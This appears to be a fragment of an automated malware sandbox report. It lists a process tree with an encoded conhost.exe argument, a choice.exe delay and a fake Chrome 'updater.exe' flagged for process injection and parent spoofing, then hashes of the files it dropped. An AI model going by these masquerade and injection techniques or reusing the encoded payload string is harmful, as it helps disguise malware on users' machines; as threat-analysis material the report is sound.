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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:2492
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:4448
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5028
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
621KB
MD53025eb614d8566ef01e61552f8816d08
SHA18ed17032eff93720b9e4a226325cb4213da461f9
SHA256d794f7c7268480fe98da855db0fd5c85f53f99588c49164386054b06903ceea7
SHA512d704fb528f15849743cd552fdfd151f5cd7ed4692cf7679eb117375051ba8ce1a3c9f103cdbb3d79bf53dbb59ce95c21056e3120717da2360e24d72ddb1632ff
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Filesize
300KB
MD5a1ceedc0fc28613cf24871b0382bbc77
SHA10fc44897e36fb0e54af5373120eb03b0d79599f2
SHA2560b29da0308388929faf93d36d90f90261588d8abb5c570dea5bc1607c133a1f2
SHA5129867e81052cb522e5cac3f8966d279601fb9e5c68181d4afe816e4cff5cdfe5c8cd10828dd3e7799e5a42f26cd7414ba0bd6ccfc5ac07d39b319d0fcbd5f55df
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD559d97011e091004eaffb9816aa0b9abd
SHA11602a56b01dd4b7c577ca27d3117e4bcc1aa657b
SHA25618f381e0db020a763b8c515c346ef58679ab9c403267eacfef5359e272f7e71d
SHA512d9ca49c1a17580981e2c1a50d73c0eecaa7a62f8514741512172e395af2a3d80aeb0f71c58bc7f52c18246d57ba67af09b6bff4776877d6cc6f0245c30e092d6
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Filesize
1KB
MD52fdc60347b56d66032f6559df7f4cd15
SHA12de2f42d7841bea7f9800af669465ba3f9fca94c
SHA25695589d5adc38c4fa2ef7929f7e803d4eff090a6c37db20ba0ecbcd8b2bca8751
SHA5122bd7ba9768893ea9465a5b17b792237eaf269e5c01fb81352f6a43ccf620e4b0aa39d9c810334f31c783c65c2f4d39ccdf0c38789ac39eab89a1f9f2cfe986a0
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize3KB
MD5e53add4879e15d7b3415bd191bfbf89e
SHA1c6a7dcbca4864343ff0f8b7287fe8127139dc3a0
SHA2563cb5649fc023a91d662304d80667aca9621f7f3c43460c7088a7f11a975e4d64
SHA512f3f9466f10da6cb6fb8282d4f83c13b625c29b5abc4037ef4596ef06803ae83342f5b6c9bc1977dc204df58713b7716864f951096d01f41e1caced79d55e6831
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Filesize8KB
MD5e662a40574d89ad748e9debbfef7fd5d
SHA17d39fb12f3fa3748654667525e216a4dcdac525a
SHA2566826c647fdba2f80d6db22ce411c03559124fc6dcc62cd17236a62fd2e5f213a
SHA51216fc37cb95ca554caf401333c872cdbdfffd4eaf50a521594b0e89997376bec7b1eb98097266cadf7777db4111ae057508952731012b945919eae4ca0be25676
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5